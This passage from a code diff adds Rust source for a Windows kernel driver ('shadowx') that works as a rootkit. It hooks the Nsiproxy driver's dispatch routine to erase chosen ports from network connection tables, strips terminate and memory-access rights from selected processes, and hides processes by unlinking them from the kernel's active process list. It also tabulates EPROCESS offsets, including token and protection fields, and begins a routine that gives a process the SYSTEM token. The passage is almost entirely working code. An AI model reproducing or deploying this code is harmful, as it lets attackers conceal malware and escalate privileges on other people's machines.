Lazy::new(|| get_windows_build_number()); + +/// Retrieves the process lock offset based on the current Windows build number. +/// +/// This function returns the offset for the process lock field in the `EPROCESS` structure +/// for the current version of Windows. +/// +/// # Returns +/// +/// * The offset (in bytes) to the process lock field. +#[inline] +pub fn get_process_lock() -> isize { + match *BUILD_NUMBER { + WIN_1507 => 0x608, + WIN_1511 => 0x610, + WIN_1607 => 0x620, + WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628, + WIN_1903 | WIN_1909 => 0x658, + _ => 0x7d8, + } +} + +/// Retrieves the active process link offset based on the current Windows build number. +/// +/// This function returns the offset for the active process link in the `EPROCESS` structure, +/// which points to the list of processes in the active process chain. +/// +/// # Returns +/// +/// * The offset (in bytes) to the active process link. +#[inline] +pub fn get_active_process_link_offset() -> isize { + match *BUILD_NUMBER { + WIN_1507 | WIN_1511 | WIN_1607 | WIN_1903 | WIN_1909 => 0x2f0, + WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x2e8, + _ => 0x448 + } +} + +/// Retrieves the VAD root offset based on the current Windows build number. +/// +/// This function returns the offset for the VAD (Virtual Address Descriptor) root +/// in the `EPROCESS` structure for different Windows versions. +/// +/// # Returns +/// +/// * The offset (in bytes) to the VAD root field. +#[inline] +pub fn get_vad_root() -> u32 { + match *BUILD_NUMBER { + WIN_1507 => 0x608, + WIN_1511 => 0x610, + WIN_1607 => 0x620, + WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x628, + WIN_1903 | WIN_1909 => 0x658, + _ => 0x7d8, + } +} + +/// Retrieves the token offset based on the current Windows build number. +/// +/// This function returns the offset for the token field in the `EPROCESS` structure, +/// which points to the access token that represents the security context of a process. +/// The token contains privileges, group memberships, and other security-related information. +/// +/// # Returns +/// +/// * The offset (in bytes) to the token field in the `EPROCESS` structure. +#[inline] +pub fn get_token_offset() -> isize { + match *BUILD_NUMBER { + WIN_1903 | WIN_1909 => 0x360, + WIN_1507 | WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 + | WIN_1803 | WIN_1809 => 0x358, + _ => 0x4b8, + } +} + +/// Retrieves the protection signature offset based on the current Windows build number. +/// +/// This function returns the offset for the protection signature field in the `EPROCESS` structure. +/// This field defines the protection type and the signer of the protection for the process, +/// allowing certain processes to be protected from termination or modification. +/// +/// # Returns +/// +/// * The offset (in bytes) to the protection signature field in the `EPROCESS` structure. +#[inline] +pub fn get_signature_offset() -> isize { + match *BUILD_NUMBER { + WIN_1903 | WIN_1909 => 0x6f8, + WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 => 0x6c8, + WIN_1607 => 0x6c0, + WIN_1511 => 0x6b0, + WIN_1507 => 0x6a8, + _ => 0x878 + } +} + +/// Retrieves the thread list entry offset based on the current Windows build number. +/// +/// This function returns the offset for the thread list entry in the `EPROCESS` structure. +/// The thread list entry links all the threads belonging to a process, allowing the system +/// to traverse the list of threads for each process. +/// +/// # Returns +/// +/// * The offset (in bytes) to the thread list entry in the `EPROCESS` structure. +#[inline] +pub fn get_thread_lock_offset() -> isize { + match *BUILD_NUMBER { + WIN_1507 | WIN_1511 => 0x690, + WIN_1607 => 0x698, + WIN_1703 => 0x6a0, + WIN_1709 | WIN_1803 | WIN_1809 => 0x6a8, + WIN_1903 | WIN_1909 => 0x6b8, + WIN_2004 | WIN_20H2 | WIN_21H1 | WIN_21H2 => 0x4e8, + WIN_22H2 => 0x500, + _ => 0x538 + } +} + +/// Retrieves the thread lock offset based on the current Windows build number. +/// +/// This function returns the offset for the thread lock field in the `EPROCESS` structure. +/// The thread lock is used to synchronize access to the list of threads within a process, +/// ensuring thread-safe operations when managing process threads. +/// +/// # Returns +/// +/// * The offset (in bytes) to the thread lock field in the `EPROCESS` structure. +#[inline] +pub fn get_thread_list_entry_offset() -> isize { + match *BUILD_NUMBER { + WIN_1507 => 0x480, + WIN_1511 | WIN_1607 | WIN_1703 | WIN_1709 | WIN_1803 | WIN_1809 + | WIN_1903 | WIN_1909 => 0x488, + WIN_22H2 => 0x4e8, + _ => 0x5e0 + } +} + +/// Retrieves the Windows build number using the `RtlGetVersion` API. +/// +/// This function calls the `RtlGetVersion` kernel API to retrieve information about the OS version, +/// including the build number. It is used to determine which Windows version the code is running on. +/// +/// # Returns +/// +/// * The Windows build number or `0` if the call to `RtlGetVersion` fails. +pub fn get_windows_build_number() -> u32 { + unsafe { + let mut os_info: RTL_OSVERSIONINFOW = core::mem::zeroed(); + if RtlGetVersion(&mut os_info) == 0 { + return os_info.dwBuildNumber; + } + } + + 0 +} diff --git a/crates/shadowx/src/port.rs b/crates/shadowx/src/port.rs new file mode 100644 index 0000000..c45ba20 --- /dev/null +++ b/crates/shadowx/src/port.rs @@ -0,0 +1,526 @@ +use { + alloc::vec::Vec, + log::{error, warn}, + spin::{Mutex, lazy::Lazy}, + wdk_sys::{ + *, + _MODE::KernelMode, + ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead}, + }, + core::{ + ptr::{null_mut, copy}, + sync::atomic::{AtomicPtr, Ordering, AtomicBool}, + ffi::c_void, mem::size_of, slice::from_raw_parts_mut, + }, +}; + +use { + common::{ + vars::MAX_PORT, + structs::TargetPort, + enums::{PortType, Protocol}, + }, + crate::{ + error::ShadowError, + utils::{ + pool::PoolMemory, uni::str_to_unicode, + valid_kernel_memory, valid_user_memory, + }, + data::{ + COMUNICATION_TYPE, + ObReferenceObjectByName, IoDriverObjectType, + NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY, + NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY + }, + } +}; + +/// Holds the original NSI dispatch function, used to store the original pointer before hooking. +static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut()); + +/// Indicates whether the callback has been activated. +pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false); + +/// List of protected ports, synchronized with a mutex. +/// +/// This static variable holds the list of protected network ports, using a `Mutex` to ensure +/// thread-safe access. It is initialized with a capacity of `MAX_PORT`. +pub static PROTECTED_PORTS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(100))); + +/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information. +pub struct Port; + +impl Port { + /// Control code for the NSI communication. + const NIS_CONTROL_CODE: u32 = 1179675; + + /// Network driver name. + const NSI_PROXY: &str = "\\Driver\\Nsiproxy"; + + /// Installs a hook into the NSI proxy driver to intercept network table operations. + /// + /// This function installs a hook into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL` + /// dispatch function with a custom hook (`hook_nsi`). It stores the original function in a static + /// atomic pointer for later restoration. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - If the hook is installed successfully. + /// * `Err(ShadowError)` - If the hook installation fails or no valid dispatch function is found. + pub unsafe fn install_hook() -> Result { + let mut driver_object: *mut DRIVER_OBJECT = null_mut(); + let status = ObReferenceObjectByName( + &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), + OBJ_CASE_INSENSITIVE, + null_mut(), + 0, + *IoDriverObjectType, + KernelMode as i8, + null_mut(), + &mut driver_object as *mut _ as *mut *mut core::ffi::c_void + ); + + // Check if the driver object was referenced successfully. + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status)) + } + + // Try to replace the original IRP_MJ_DEVICE_CONTROL dispatch function. + let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; + if let Some(original_function) = major_function.take() { + // Store the original dispatch function. + let original_function_ptr = original_function as *mut (); + ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst); + + // Replace the dispatch function with the hook. + *major_function = Some(Self::hook_nsi); + HOOK_INSTALLED.store(true, Ordering::SeqCst); + } else { + ObfDereferenceObject(driver_object as _); + return Err(ShadowError::HookFailure); + } + + // Dereference the driver object after setting up the hook. + ObfDereferenceObject(driver_object as _); + Ok(STATUS_SUCCESS) + } + + /// Uninstalls the NSI hook, restoring the original dispatch function. + /// + /// This function uninstalls the previously installed NSI hook, restoring the original dispatch + /// function that was replaced. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - If the hook was successfully uninstalled. + /// * `Err(ShadowError)` - If the hook was not installed or if the uninstall operation failed. + pub unsafe fn uninstall_hook() -> Result { + let mut driver_object: *mut DRIVER_OBJECT = null_mut(); + let status = ObReferenceObjectByName( + &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), + OBJ_CASE_INSENSITIVE, + null_mut(), + 0, + *IoDriverObjectType, + KernelMode as i8, + null_mut(), + &mut driver_object as *mut _ as *mut *mut c_void, + ); + + // Handle error if the driver object can't be referenced. + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ObReferenceObjectByName", status)) + } + + // If the hook is installed, restore the original dispatch function. + if HOOK_INSTALLED.load(Ordering::SeqCst) { + let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; + + let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); + if !original_function_ptr.is_null() { + let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); + *major_function = original_function; + + HOOK_INSTALLED.store(false, Ordering::SeqCst); + } else { + ObfDereferenceObject(driver_object as _); + return Err(ShadowError::HookFailure); + } + } else { + ObfDereferenceObject(driver_object as _); + return Err(ShadowError::HookFailure); + } + + // Dereference the driver object after removing the hook. + ObfDereferenceObject(driver_object as _); + Ok(STATUS_SUCCESS) + } + + /// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries. + /// + /// This function intercepts network requests (IRPs) sent to the NSI proxy driver when the control + /// code matches `NIS_CONTROL_CODE`. It replaces the completion routine with a custom handler + /// to inspect and potentially modify network entries. + /// + /// # Arguments + /// + /// * `device_object` - Pointer to the device object associated with the request. + /// * `irp` - Pointer to the IRP (I/O Request Packet) being processed. + /// + /// # Returns + /// + /// * The result of the original dispatch function, or `STATUS_UNSUCCESSFUL` if the hook fails. + unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { + let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; + let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; + + // If the control code matches, we replace the completion routine with a custom one. + if control_code == Self::NIS_CONTROL_CODE { + let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, u32::from_be_bytes(*b"giud")); + if let Some(addr) = context { + let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); + (*address).0 = (*stack).CompletionRoutine; + (*address).1 = (*stack).Context; + + (*stack).Context = address as *mut c_void; + (*stack).CompletionRoutine = Some(Self::irp_complete); + (*stack).Control |= SL_INVOKE_ON_SUCCESS as u8; + + // Prevent memory deallocation. + core::mem::forget(addr); + } + } + + // Call the original dispatch function. + let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); + let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); + + original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp)) + } + + /// Completion routine that modifies network table entries after an NSI operation. + /// + /// This function is called when the IRP operation completes, and it processes the network + /// table entries (TCP/UDP) to inspect or modify them. It then calls the original completion + /// routine, passing the results of the modified entries back to the caller. + /// + /// # Arguments + /// + /// * `device_object` - Pointer to the device object associated with the IRP. + /// * `irp` - Pointer to the IRP being completed. + /// * `context` - Pointer to the context, containing the original completion routine and its arguments. + /// + /// # Returns + /// + /// * Returns the result of the original completion routine, or `STATUS_SUCCESS` if processing was successful. + unsafe extern "C" fn irp_complete( + device_object: *mut DEVICE_OBJECT, + irp: *mut IRP, + context: *mut c_void + ) -> NTSTATUS { + let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); + + // Validate the status of the IRP. + if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) { + let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM; + let mut status_success = true; + + // Ensure that the NSI parameter is valid and the context can be accessed. + if !valid_user_memory(nsi_param as u64) && !PortUtils::validate_context(nsi_param as _) { + status_success = false; + } else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() { + status_success = false; + } + + // If the entries are valid, process them. + if status_success && !(*nsi_param).Entries.is_null() && (*nsi_param).EntrySize != 0 { + let tcp_entries = (*nsi_param).Entries as *mut NSI_TABLE_TCP_ENTRY; + let udp_entries = (*nsi_param).Entries as *mut NSI_UDP_ENTRY; + + // Loop through all entries in the NSI parameter. + for i in 0..(*nsi_param).Count { + match (*nsi_param).Type_ { + COMUNICATION_TYPE::TCP => { + if valid_user_memory((*tcp_entries.add(i)).Local.Port as u64) + || valid_user_memory((*tcp_entries.add(i)).Remote.Port as u64) { + + // Convert the port numbers from big-endian to the host's native format. + let local_port = u16::from_be((*tcp_entries.add(i)).Local.Port); + let remote_port = u16::from_be((*tcp_entries.add(i)).Remote.Port); + + // Process the TCP entry by copying it into the NSI table, updating ports if necessary. + PortUtils::process_entry_copy( + tcp_entries, + (*nsi_param).Count, + i, + local_port, + Some(remote_port), + Protocol::TCP, + (*nsi_param).StatusEntries, + (*nsi_param).ProcessEntries, + nsi_param, + ); + } + }, + COMUNICATION_TYPE::UDP => { + // Check if the UDP local port is a valid user-mode memory address. + if valid_user_memory((*udp_entries.add(i)).Port as u64) { + + // Convert the local port number from big-endian to the host's native format. + let local_port = u16::from_be((*udp_entries.add(i)).Port); + + // Process the UDP entry by copying it into the NSI table, updating ports if necessary. + PortUtils::process_entry_copy( + udp_entries, + (*nsi_param).Count, + i, + local_port, + None, + Protocol::UDP, + (*nsi_param).StatusEntries, + (*nsi_param).ProcessEntries, + nsi_param, + ); + } + } + } + } + } + } + + // Call the original completion routine if one exists. + if let Some(original_routine) = (*context_addr).0 { + let mut original_context = null_mut(); + + if !(*context_addr).1.is_null() { + original_context = (*context_addr).1; + } + + ExFreePool(context as *mut _); + return original_routine(device_object, irp, original_context); + } + + ExFreePool(context as *mut _); + STATUS_SUCCESS + } +} + +/// Utility struct for network-related operations, such as validating memory and handling NSI table entries. +pub struct PortUtils; + +impl PortUtils { + /// Validates a memory address to ensure it can be safely accessed from kernel mode. + /// + /// This function uses `ProbeForRead` to check whether a memory address is valid and accessible. + /// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions. + /// + /// # Arguments + /// + /// * `address` - The memory address to validate. + /// + /// # Returns + /// + /// * Return `true` if the address is valid and accessible or `false` if an exception occurs while probing the address. + unsafe fn validate_context(address: *mut c_void) -> bool { + let result = microseh::try_seh(|| { + ProbeForRead(address, size_of::() as u64, size_of::() as u32); + }); + + match result { + Ok(_) => true, + Err(err) => { + error!("Exception when trying to read the address: {:?}", err.code()); + false + } + } + } + + /// Copies network table entries (TCP/UDP) from one index to another and updates associated status + /// and process entries if necessary. + /// + /// This function is used to modify NSI (Network Store Interface) table entries during a network + /// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively + /// "hiding" specific network ports. + /// + /// # Arguments + /// + /// * `entries` - A pointer to the list of TCP or UDP entries. The type is generic (`T`), and the pointer must be safely dereferenced. + /// * `count` - The total number of entries in the table. Defines the size of the `entries` buffer. + /// * `i` - The index of the current entry being processed. + /// * `local_port` - The local port number associated with the current entry. + /// * `remote_port` - An `Option` that may contain the remote port number associated with the current entry, or `None`. + /// * `protocol` - The protocol type (TCP or UDP) being processed for this entry. + /// * `status_entries` - A pointer to the list of status entries related to the network connections. + /// * `process_entries` - A pointer to the list of process entries related to the network connections. + /// * `nsi_param` - A pointer to the `NSI_PARAM` structure, which contains information about the network table. + unsafe fn process_entry_copy( + entries: *mut T, + count: usize, + i: usize, + local_port: u16, + remote_port: Option, + protocol: Protocol, + status_entries: *mut NSI_STATUS_ENTRY, + process_entries: *mut NSI_PROCESS_ENTRY, + nsi_param: *mut NSI_PARAM + ) { + let port_number = match (local_port, remote_port) { + (0, Some(remote)) if remote != 0 => remote, // Use remote port if local is zero. + (local, _) if local != 0 => local, // Use local port if it's non-zero. + _ => { + warn!("Both doors are zero, there is no way to process the entrance."); + return; + } + }; + + let port_type = if remote_port.unwrap_or(0) != 0 { + PortType::REMOTE + } else { + PortType::LOCAL + }; + + let info = TargetPort { + protocol, + port_type, + port_number, + enable: true, + }; + + // If the port is protected, modify the network entries. + if check_port(info) { + let mut entries_index = i + 1; + if entries_index >= count { + entries_index = i - 1; + } + + // Copies TCP/UDP entries. + let entries_slice = from_raw_parts_mut(entries, count); + copy( + &entries_slice[entries_index], + &mut entries_slice[i], + count - entries_index, + ); + + // Verify and copy status_entries. + if !status_entries.is_null() { + let status_entries_slice = from_raw_parts_mut(status_entries, count); + if entries_index < status_entries_slice.len() { + copy( + &status_entries_slice[entries_index], + &mut status_entries_slice[i], + count - entries_index, + ); + } + } + + // Check and copy process_entries. + if !process_entries.is_null() { + let process_entries_slice = from_raw_parts_mut(process_entries, count); + if entries_index < process_entries_slice.len() { + copy( + &process_entries_slice[entries_index], + &mut process_entries_slice[i], + count - entries_index, + ); + } + } + } + } +} + +/// Toggles the addition or removal of a port from the list of protected ports. +/// +/// If the `enable` flag in the `TargetPort` is `true`, the port is added to the list of protected ports. +/// Otherwise, the port is removed from the list. +/// +/// # Arguments +/// +/// * `port` - A mutable pointer to a `TargetPort` structure, containing information about the port +/// to be added or removed. +/// +/// # Return +/// +/// * Returns `STATUS_SUCCESS` if the operation is completed successfully or +/// `STATUS_UNSUCCESSFUL` if the operation fails (e.g., the port list is full or the port couldn't be removed). +pub fn add_remove_port_toggle(port: *mut TargetPort) -> NTSTATUS { + if (unsafe { *port }).enable { + add_target_port(port) + } else { + remove_target_port(port) + } +} + +/// Adds a port to the list of protected ports. +/// +/// This function locks the `PROTECTED_PORTS` list and tries to add the given `TargetPort`. +/// If the port is already in the list or the list is full, the operation will fail. +/// +/// # Arguments +/// +/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be added. +/// +/// # Return +/// +/// * Returns `STATUS_SUCCESS` if the port is successfully added to the list. +/// * Returns `STATUS_DUPLICATE_OBJECTID` if the port already exists in the list. +/// * Returns `STATUS_UNSUCCESSFUL` if the port list is full or the operation fails. +fn add_target_port(port: *mut TargetPort) -> NTSTATUS { + let mut ports = PROTECTED_PORTS.lock(); + let port = unsafe { *port }; + + if ports.len() >= MAX_PORT { + return STATUS_UNSUCCESSFUL; + } + + if ports.contains(&port) { + return STATUS_DUPLICATE_OBJECTID; + } + + ports.push(port); + + STATUS_SUCCESS +} + +/// Removes a port from the list of protected ports. +/// +/// This function locks the `PROTECTED_PORTS` list and attempts to remove the specified `TargetPort`. +/// +/// # Arguments +/// +/// * `port` - A mutable pointer to a `TargetPort` structure, containing the port information to be removed. +/// +/// # Return +/// +/// * Returns `STATUS_SUCCESS` if the port is successfully removed from the list +/// or `STATUS_UNSUCCESSFUL` if the port is not found in the list. +fn remove_target_port(port: *mut TargetPort) -> NTSTATUS { + let mut ports = PROTECTED_PORTS.lock(); + (unsafe { *port }).enable = true; + + if let Some(index) = ports.iter().position(|&p| { + p.protocol == (unsafe { *port }).protocol + && p.port_type == (unsafe { *port }).port_type + && p.port_number == (unsafe { *port }).port_number + }) { + ports.remove(index); + STATUS_SUCCESS + } else { + error!("Port {:?} not found in the list", port); + STATUS_UNSUCCESSFUL + } +} + +/// Checks if a port is in the list of protected ports. +/// +/// This function locks the `PROTECTED_PORTS` list and checks whether the given port is in the list. +/// +/// # Arguments +/// +/// * `port` - A `TargetPort` structure that represents the port to be checked. +/// +/// # Return +/// +/// * Returns `true` if the port is in the protected list, otherwise returns `false`. +pub fn check_port(port: TargetPort) -> bool { + PROTECTED_PORTS.lock().contains(&port) +} diff --git a/crates/shadowx/src/process/callback.rs b/crates/shadowx/src/process/callback.rs new file mode 100644 index 0000000..c844a0f --- /dev/null +++ b/crates/shadowx/src/process/callback.rs @@ -0,0 +1,127 @@ +use { + alloc::vec::Vec, + spin::{Lazy, Mutex}, + common::{ + structs::TargetProcess, + vars::MAX_PID + }, + winapi::um::winnt::{ + PROCESS_CREATE_THREAD, PROCESS_TERMINATE, + PROCESS_VM_OPERATION, PROCESS_VM_READ + }, +}; + +use wdk_sys::{ + STATUS_UNSUCCESSFUL, + PEPROCESS, PROCESS_DUP_HANDLE, + ntddk::PsGetProcessId, STATUS_QUOTA_EXCEEDED, + NTSTATUS, OB_PRE_OPERATION_INFORMATION, + STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, + _OB_PREOP_CALLBACK_STATUS::{OB_PREOP_SUCCESS, Type} +}; + +pub struct ProcessCallback; + +/// Handle for the process callback registration. +pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut core::ffi::c_void = core::ptr::null_mut(); + +/// List of target PIDs protected by a mutex. +static TARGET_PIDS: Lazy>> = Lazy::new(|| + Mutex::new(Vec::with_capacity(MAX_PID)) +); + +impl ProcessCallback { + /// Method for adding the list of processes that will have anti-kill / dumping protection. + /// + /// # Arguments + /// + /// * `pid` - The identifier of the target process (PID) to be hidden. + /// + /// # Returns + /// + /// * A status code indicating the success or failure of the operation. + pub fn add_target_pid(pid: usize) -> NTSTATUS { + let mut pids = TARGET_PIDS.lock(); + + if pids.len() >= MAX_PID { + return STATUS_QUOTA_EXCEEDED; + } + + if pids.contains(&pid) { + return STATUS_DUPLICATE_OBJECTID; + } + + pids.push(pid); + + STATUS_SUCCESS + } + + /// Method for removing the list of processes that will have anti-kill / dumping protection. + /// + /// # Arguments + /// + /// * `pid` - The identifier of the target process (PID) to be hidden. + /// + /// # Returns + /// + /// * A status code indicating the success or failure of the operation. + pub fn remove_target_pid(pid: usize) -> NTSTATUS { + let mut pids = TARGET_PIDS.lock(); + + if let Some(index) = pids.iter().position(|&x| x == pid) { + pids.remove(index); + STATUS_SUCCESS + } else { + STATUS_UNSUCCESSFUL + } + } + + /// Enumerate Processes Protect. + /// + /// # Returns + /// + /// * A status code indicating success or failure of the operation. + pub unsafe fn enumerate_protection_processes() -> Vec { + let mut processes: Vec = Vec::new(); + let process_info = TARGET_PIDS.lock(); + for i in process_info.iter() { + processes.push(TargetProcess { + pid: *i, + ..Default::default() + }); + } + + processes + } + + /// The object (process) pre-operation callback function used to filter process opening operations. + /// This function is registered as a callback and is called by the operating system before a process opening operation is completed. + /// + /// # Arguments + /// + /// * `_registration_context` - Pointer to record context (Not used). + /// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation. + /// + /// # Returns + /// + /// * A status code indicating the success or failure of the operation. + pub unsafe extern "C" fn on_pre_open_process( + _registration_context: *mut core::ffi::c_void, + info: *mut OB_PRE_OPERATION_INFORMATION, + ) -> Type { + if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 { + return OB_PREOP_SUCCESS; + } + + let process = (*info).Object as PEPROCESS; + let pid = PsGetProcessId(process) as usize; + let pids = TARGET_PIDS.lock(); + + if pids.contains(&pid) { + let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE); + (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask; + } + + OB_PREOP_SUCCESS + } +} \ No newline at end of file diff --git a/crates/shadowx/src/process/mod.rs b/crates/shadowx/src/process/mod.rs new file mode 100644 index 0000000..7c9594f --- /dev/null +++ b/crates/shadowx/src/process/mod.rs @@ -0,0 +1,342 @@ +use { + alloc::vec::Vec, + spin::{Lazy, Mutex}, + wdk_sys::{ntddk::*, *,}, +}; + +use { + common::{ + vars::MAX_PID, + structs::TargetProcess, + }, + crate::{ + error::ShadowError, + structs::PROCESS_SIGNATURE, + lock::with_push_lock_exclusive, + offsets::{ + get_process_lock, + get_token_offset, + get_signature_offset, + get_active_process_link_offset, + } + } +}; + +pub mod callback; +pub use callback::*; + +/// Represents a process in the operating system. +/// +/// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used +/// in Windows kernel development. It allows for looking up a process by its PID and ensures +/// proper cleanup of resources when the structure goes out of scope. +pub struct Process { + /// Pointer to the EPROCESS structure, used for managing process information. + pub e_process: PEPROCESS, +} + +impl Process { + /// Creates a new `Process` instance by looking up a process by its PID. + /// + /// This method attempts to find a process using its process identifier (PID). If the process + /// is found, it returns an instance of the `Process` structure containing a pointer to the + /// `EPROCESS` structure. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the process to be looked up. + /// + /// # Returns + /// + /// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful. + /// * `Err(ShadowError)` - Returns an error message if the lookup fails. + /// + /// # Examples + /// + /// ```rust + /// let process = Process::new(1234); + /// match process { + /// Ok(proc) => println!("Process found: {:?}", proc.e_process), + /// Err(e) => println!("Error: {}", e), + /// } + /// ``` + #[inline] + pub fn new(pid: usize) -> Result { + let mut process = core::ptr::null_mut(); + + let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) }; + if NT_SUCCESS(status) { + Ok(Self { e_process: process }) + } else { + Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status)) + } + } +} + +/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope. +/// +/// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure +/// is properly decremented when the `Process` instance is dropped. This prevents resource leaks. +impl Drop for Process { + /// Cleans up the resources held by the `Process` structure. + /// + /// This method decrements the reference count of the `EPROCESS` structure when the + /// `Process` instance is dropped, ensuring proper cleanup. + fn drop(&mut self) { + if !self.e_process.is_null() { + unsafe { ObfDereferenceObject(self.e_process as _) }; + } + } +} + +/// List of target processes protected by a mutex. +pub static PROCESS_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID))); + +/// This implementation focuses on the hiding and unhiding of processes. +impl Process { + /// Hides a process by removing it from the active process list in the operating system. + /// + /// This method hides a process by unlinking it from the active process list (`LIST_ENTRY`) + /// in the OS. It uses synchronization locks to ensure thread safety while modifying the + /// list. Once the process is hidden, it is no longer visible in the system's active process chain. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the target process to be hidden. + /// + /// # Returns + /// + /// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes + /// in the list before it was modified. + /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. + pub unsafe fn hide_process(pid: usize) -> Result { + // Getting offsets based on the Windows build number + let active_process_link = get_active_process_link_offset(); + let offset_lock = get_process_lock(); + + // Retrieve the EPROCESS structure for the target process + let process = Self::new(pid)?; + + // Retrieve the `LIST_ENTRY` for the active process link, which connects the process + // to the list of active processes in the system. + let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; + let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; + + // Use synchronization to ensure thread safety while modifying the list + with_push_lock_exclusive(push_lock, || { + // The next process in the chain + let next = (*current).Flink; + + // The previous process in the chain + let previous = (*current).Blink; + + // Storing the previous list entry, which will be returned + let previous_link = LIST_ENTRY { + Flink: next as *mut LIST_ENTRY, + Blink: previous as *mut LIST_ENTRY, + }; + + // Unlink the process from the active list + (*next).Blink = previous; + (*previous).Flink = next; + + // Make the current list entry point to itself to hide the process + (*current).Flink = current; + (*current).Blink = current; + + Ok(previous_link) + }) + } + + /// Unhides a process by restoring it to the active process list in the operating system. + /// + /// This method restores a previously hidden process back into the active process list by re-linking + /// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent processes in the list. The function + /// uses synchronization locks to ensure thread safety while modifying the list. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the target process to be unhidden. + /// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring processes in the list, + /// which was saved when the process was hidden. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list. + /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. + pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result { + // Getting offsets based on the Windows build number + let active_process_link = get_active_process_link_offset(); + let offset_lock = get_process_lock(); + + // Retrieve the EPROCESS structure for the target process + let process = Self::new(pid)?; + + // Retrieve the `LIST_ENTRY` for the active process link, which connects the process + // to the list of active processes in the system. + let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; + let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; + + // Use synchronization to ensure thread safety while modifying the list + with_push_lock_exclusive(push_lock, || { + // Restore the `Flink` and `Blink` from the saved `list_entry` + (*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY; + (*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY; + + // Re-link the process to the neighboring processes in the chain + let next = (*current).Flink; + let previous = (*current).Blink; + + (*next).Blink = current; + (*previous).Flink = current; + }); + + Ok(STATUS_SUCCESS) + } + + /// Enumerates all currently hidden processes. + /// + /// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns + /// a vector containing their information. + /// + /// # Returns + /// + /// * A vector containing the information of all hidden processes. + pub unsafe fn enumerate_hide_processes() -> Vec { + let mut processes: Vec = Vec::new(); + let process_info = PROCESS_INFO_HIDE.lock(); + for i in process_info.iter() { + processes.push(TargetProcess { + pid: (*i).pid as usize, + ..Default::default() + }); + } + + processes + } +} + +/// This implementation focuses on finishing the process, changing the PPL and elevating the process. +impl Process { + + // System process (By default the PID is 4) + const SYSTEM_PROCESS: usize = 4; + + /// Elevates a process by setting its token to the system process token. + /// + /// This function raises the token of a process identified by its PID 